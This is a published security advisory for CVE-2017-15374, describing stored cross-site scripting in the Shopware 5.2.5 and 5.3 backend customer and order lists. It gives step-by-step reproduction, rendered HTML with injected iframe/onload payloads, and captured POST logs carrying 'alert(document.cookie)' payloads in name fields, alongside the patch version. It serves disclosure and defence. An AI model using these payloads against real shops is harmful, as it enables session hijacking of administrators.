Document Title:
===============
Shopware 5.2.5 & v5.3 - Multiple Cross Site Scripting Web Vulnerabilities


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1922

Shopware Security Tracking ID: SW-19834

Security Update:
http://community.shopware.com/Downloads_cat_448.html#5.3.4
http://community.shopware.com/_detail_2035.html

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2017-15374

CVE-ID:
=======
CVE-2017-15374


Release Date:
=============
2017-09-05


Vulnerability Laboratory ID (VL-ID):
====================================
1922


Common Vulnerability Scoring System:
====================================
4.4


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Shopware is a modular online shop system that is since 2004 developed in germany. It is available both as
an open source software as well as in commercial editions. The program can be extended in its functions by
installing additional plugins. An open API allows third-party systems, such as payment services or ERP
systems, to be connected. The system is multi shop capable it can thus be generated within an installation
several shops in different domains. A multi-client capability (complete separation of multishops in the
administration area) is by default, but can be achieved in the cluster.

(Copy of the Vendor Homepage: https://en.shopware.com/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered multiple stored cross site scripting vulnerability in the official Shopware v5.2.5 & 5.3 CMS.


Vulnerability Disclosure Timeline:
==================================
2016-10-07: Researcher Notification & Coordination (Benjamin Kunz Mejri - Evolution Security GmbH)
2016-10-08: Vendor Notification (Shopware Security Team)
2016-**-**: Vendor Response/Feedback (Shopware Security Team)
2017-**-**: Vendor Fix/Patch (Shopware Service Developer Team)
2017-09-05: Public Disclosure (Vulnerability Laboratory)
2017-10-25: Security Acknowledgements (Shopware Developer Team)
2017-10-25: Security Acknowledgements (Shopware Security Team)


Discovery Status:
=================
Published


Affected Product(s):
====================
Shopware AG
Product: Shopware - Content Management System (Web-Application) 5.2.5

Shopware AG
Product: Shopware - Content Management System (Web-Application) 5.3


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
The shopware v5.2.5 - v5.3 is vulnerable to cross site scripting in the customer and order section of the content management
system backend modules. Remote attackers are able to inject malicious script code to the firstname, lastname or order
input fields to provoke a persistent execution in the customer and orders section of the backend. The execution occurs
in the shopware administrator backend listing when processing to preview the customers (kunden) or orders (bestellungen).
The injection can be processed by interaction via user registration or by manipulation of the order information inputs.
The web issue can be exploited by low privileged user accounts against higher privileged admin- oder moderator-accounts.

The security risk of the bugs are estimated as medium with a cvss (common vulnerability scoring system) count of 4.4.
Exploitation of the issue requires a low privileged web-application user account and low or medium user interaction.
Successful exploitation of the vulnerabilities results in persistent phishing mails, session hijacking, persistent
external redirect to malicious sources and application-side manipulation of affected or connected module context.

Request Method(s):
[+] POST (Registration)
[+] POST (Order Item)
[+] POST (Profile Update)

Vulnerable Input(s):
[+] Firstname
[+] Lastname
[+] Order Name

Affected Module(s):
[+] Kunden (Customers)
[+] Bestellungen (Orders)


Proof of Concept (PoC):
=======================
The cross site vulnerabilities can be exploited by remote attackers with low privileged shopware user account and low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1.  Open the the browser and surf to the target shopware v5.2.5 web-application
2.  Move to the registration formular
3.  Include a script code payload with a iframe src onload tag to the firstname, lastname and name parameters
4.  Submit the request via POST method to register the account
5.  Move to the inbox and verify via link the account to activate
Note: Now the payloads are executable saved to the Kunden (Customer) section in the backend
6.  The administrator visits in the next step the Kunden (Customer) section to preview
7.  The script code payload executes in the customers list
8.  As next step the attacker places an order via shop
Note: The order name manipulation via registration is as well able to execute script code the context
9.  The administrator visits in the next step the Bestellungen (orders) section to preview
10. The script code payload executes in the orders list
11. Successful reproduce of the both cross site vulnerabilities!

Note: Attackers are able to inject malicious redirects, frames with payloads or other script code tags.
The basic web validation filter of the shopware content management system does not encode the list context.


PoC: Vulnerable Source (Execution in Orders - Bestellungen)
<tr class="x-grid-row  x-grid-row-alt"><td class=" x-grid-cell x-grid-cell-gridcolumn-1496
x-grid-cell-special x-grid-cell-row-checker x-grid-cell-first"><div class="x-grid-cell-inner "
style="text-align: left; ;"><div class="x-grid-row-checker">&nbsp;</div></div></td><td class="
x-grid-cell x-grid-cell-gridcolumn-1428   "><div class="x-grid-cell-inner " style="text-align: left;
;">20.08.2016 08:34</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1429
"><div class="x-grid-cell-inner " style="text-align: left; ;">20044</div></td><td class="
x-grid-cell x-grid-cell-gridcolumn-1430   "><div class="x-grid-cell-inner " style="text-align: left; ;">
536,80</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1431   "><div class="x-grid-cell-inner "
style="text-align: left; ;">&nbsp;</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1432   ">
<div class="x-grid-cell-inner " style="text-align: left; ;">Rechnung</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1433   "><div class="x-grid-cell-inner " style="text-align: left; ;">Standard Versand</div></td>
<td class=" x-grid-cell x-grid-cell-gridcolumn-1434   "><div class="x-grid-cell-inner " style="text-align: left; ;">
Hauptshop Deutsch</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1435   "><div class="x-grid-cell-inner "
style="text-align: left; ;">Mar'Da>"<iframe src="evil.source" onload="alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!]" <=""
korat="">"<iframe src=evil.source onload=alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!] <</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1436 " ><div  class="x-grid-cell-inner " style="text-align: left; ;"><a href="mailto:mardakorat@cuvox.de"
data-qtip="mardakorat@cuvox.de">mardakorat@cuvox.de</a></div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1437
" ><div  class="x-grid-cell-inner " style="text-align: left; ;">Offen</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1438   " ><div  class="x-grid-cell-inner " style="text-align: left; ;">Offen</div></td>
<td class=" x-grid-cell x-grid-cell-actioncolumn-1405   x-action-col-cell x-grid-cell-last" >
<div  class="x-grid-cell-inner " style="text-align: left; ;">
<img alt="" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-action-col-icon x-action-col-0  sprite-user " data-qtip="Kunde öffnen" data-action="openCustomer"  />
<img alt="" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-action-col-icon x-action-col-1  sprite-minus-circle-frame " data-qtip="Bestellung löschen"
data-action="deleteOrder"  /><img alt="" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-action-col-icon x-action-col-2  sprite-pencil " data-qtip="Zeige Details" data-action="editOrder"  /></div></td></tr>
<tr class="x-grid-row " ><td class=" x-grid-cell x-grid-cell-gridcolumn-1496  x-grid-cell-special
x-grid-cell-row-checker x-grid-cell-first" ><div  class="x-grid-cell-inner " style="text-align: left; ;">
<div class="x-grid-row-checker">&#160;</div></div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1428   " >
<div  class="x-grid-cell-inner " style="text-align: left; ;">19.08.2016 15:50</div></td><td class=" x-grid-cell
x-grid-cell-gridcolumn-1429   " ><div  class="x-grid-cell-inner " style="text-align: left; ;">20051</div></td>
<td class=" x-grid-cell x-grid-cell-gridcolumn-1430   " ><div  class="x-grid-cell-inner "
style="text-align: left; ;">308,75</div></td><td class=" x-grid-cell x-grid-cell-gridcolumn-1431   " >
<div  class="x-grid-cell-inner " style="text-align: left; ;">&#160;</div></td>


PoC: Vulnerable Source (Execution in Customers - Kunden)
<div class="x-window x-customer-detail-window x-layer x-window-default x-closable x-window-closable x-window-default-closable"
style="left: 124px; top: 26px; width: 1093px; height: 458px; z-index: 39041;" id="customer-detail-window-2311" tabindex="-1">
<div style="-moz-user-select: none; left: -1px; top: -1px; width: 1093px;" class="x-window-header x-window-header-draggable
x-docked x-window-header-default x-horizontal x-window-header-horizontal x-window-header-default-horizontal x-top
x-window-header-top x-window-header-default-top x-docked-top x-window-header-docked-top x-window-header-default-docked-top
x-unselectable" id="customer-detail-window-2311_header"><div style="width: 1091px;" id="customer-detail-window-2311_header-body"
class="x-window-header-body x-window-header-body-default x-window-header-body-horizontal x-window-header-body-default-horizontal
x-window-header-body-top x-window-header-body-default-top x-window-header-body-docked-top x-window-header-body-default-docked-top
x-window-header-body-default-horizontal x-window-header-body-default-top x-window-header-body-default-docked-top x-box-layout-ct">
<div style="width: 1066px; height: 154px;" id="customer-detail-window-2311_header-innerCt" class="x-box-inner "
role="presentation"><div id="customer-detail-window-2311_header-targetEl" style="position:absolute;width:20000px;
left:0px;top:0px;height:1px"><div class="x-component x-window-header-text-container x-box-item x-component-default"
style="text-align: left; left: 0px; top: 0px; margin: 0px; width: 1049px;" id="customer-detail-window-2311_header_hd">
<span id="customer-detail-window-2311_header_hd-textEl" class="x-window-header-text x-window-header-text-default">
Kundenkonto: Mar'Da"><iframe src="evil.source" onload="alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!]" <=""
korat"=""><iframe src=evil.source onload=alert("PTEST")[PERSISTENT SCRIPT CODE EXECUTION!] < (20019)</iframe></span></div>
<div class="x-tool x-box-item x-tool-default" style="width: 15px; height: 15px; left: 1051px; top: 70px; margin: 0px;" id="tool-2312">
<img id="tool-2312-toolEl" src="data:image/gif;base64,R0lGODlhAQABAID/AMDAwAAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw=="
class="x-tool-close" role="presentation"></div></div></div></div>


--- PoC Session Logs [POST] ---
Status: 200[OK]
POST http://shopware.localhost:8080/backend/customer/save?_dc=1471541475086&customerID=22
Mime Type[application/json]
   Request Header:
      Host[shopware.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Content-Type[application/json]
      X-Requested-With[XMLHttpRequest]
      Referer[http://shopware.localhost:8080/backend/]
      Cookie[SHOPWAREBACKEND=fv4u2kg63p3ff3ht6kd6var803; test; x-ua-device=desktop; session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
Connection[keep-alive]
POST-Daten:
{"id":22,"groupKey":"EK","email":"TEST@TEST.de","active":true,"accountMode":0,"confirmationKey":
"","paymentId":5,"firstLogin":"2016-08-18T00:00:00","lastLogin":"2016-08-18T17:22:23","newsletter":0,"validation":0,"
languageId":1,"shopId":1,"priceGroupId":0,
"internalComment":"TEST-comment","failedLogins":0,"referer":"","default_billing_address_id":22,"
default_shipping_address_id":22,
"newPassword":"","amount":402.9,"orderCount":1,"canceledOrderAmount": 0,"shopName":"Hauptshop Deutsch","language":"Deutsch","birthday":"16.05.1985","title":"","
salutation":"mr","firstname":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <","
lastname":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <",
"number":"20028","billing":[{"id":22,"salutation":"mr","company":"","
department":"","firstName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert
(document.cookie) <","title":"","lastName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <",
"street":"Teststrau00dfe","zipCode":"72202","city":"Nagold","additionalAddressLine1":"","additionalAddressLine2":"",
"salutationSnippet":"Herr","countryId":2,"number":"","phone":"","vat
Id":"","stateId":null}],"shipping":[{"id":23,"salutation":"mr","company":"","department":"",
"firstName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source
onload=alert(document.cookie) <","title":"",
"lastName":"TEST[INJECTED SCRIPT CODE]>"<iframe src=./evi.source onload=alert(document.cookie) <",
"street":"Teststrau00dfe","zipCode":"72202","city":"Nagold","additionalAddressLine1":"",
"additionalAddressLine2":"","salutationSnippet":"Herr","countryId":2,"stateId":null}],"debit":
[],"paymentData":[{"accountNumber":"","bankCode":"","bankName":"","accountHolder":"","bic":"",
"iban":"","useBillingData":false,"id":null}]}]
   Response Header:
      Server[nginx/1.8.1]
      Content-Type[application/json]
      Connection[keep-alive]
      Set-Cookie[SHOPWAREBACKEND=88g31dgs8lem6cun3ldjq4l3f2; path=/backend/; HttpOnly]
-
Status: 200[OK]
POST http://shopware.localhost:8080/backend/Log/createLog
Mime Type
[application/json]
   Request Header:
      Host[shopware.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Content-Type[application/x-www-form-urlencoded; charset=UTF-8]
      X-Requested-With[XMLHttpRequest]
      Referer[http://shopware.localhost:8080/backend/]
      Cookie[SHOPWAREBACKEND=88g31dgs8lem6cun3ldjq4l3f2; test; x-ua-device=desktop;
	session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
      Connection[keep-alive]
   POST-Daten:
      type[backend]
      key[Kunden]
      text[Kunde%2020028%20wurde%20gespeichert]
      user[Demo-Admin]
      value4[]
   Response Header:
      Server[nginx/1.8.1]
      Content-Type[application/json]
      Connection[keep-alive]
      Set-Cookie[SHOPWAREBACKEND=hmb3lqokn3bkr6kvpo1o6vi4o6; path=/backend/; HttpOnly]
-
Status: 200[OK]
GET http://shopware.localhost:8080/backend/evil.source[PERSISTENT SCRIPT CODE EXECUTE!]
Mime Type[text/html]
   Request Header:
      Host[shopware.localhost:8080]
      User-Agent[Mozilla/5.0 (Windows NT 6.2; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0]
      Referer[http://shopware.localhost:8080/backend/]
      Cookie[SHOPWAREBACKEND=p56ursgfdc6f1tbh0s35detvc5; test; x-ua-device=desktop;
	session-1=e7f8815a87d6cfa5552abf58325ca4fa184f7b69f9d45ff7b101c17f7ee0a255;]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.8.1]
      Content-Type[text/html; charset=UTF-8]
      Connection[keep-alive]
      Set-Cookie[SHOPWAREBACKEND=v3mhes99ai1hsolj8vddjkbci2; path=/backend/; HttpOnly]


Reference(s):
http://shopware.localhost:8080/
http://shopware.localhost:8080/backend/
http://shopware.localhost:8080/backend/Log/
http://shopware.localhost:8080/backend/customer/
http://shopware.localhost:8080/backend/Log/createLog
http://shopware.localhost:8080/backend/customer/save
http://shopware.localhost:8080/backend/AttributeData/
http://shopware.localhost:8080/backend/AttributeData/list


Solution - Fix & Patch:
=======================
The xss vulnerability can be patched by a secure parse of the customer (kunden) and orders (bestellungen) context listings.
Parse or escape the context and disallow special chars during the registration or add to prevent further script code injection attacks.

The vulnerability can be resolved by an update to version 5.3.4 that is delivered by the manufacturer. The issue risk is marked as moderate.



Security Risk:
==============
The security risk of the stored cross site scripting vulnerabilities in the shopware cms are estimated as medium. (CVSS 4.4)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri [http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.]


Disclaimer & Information:
=========================
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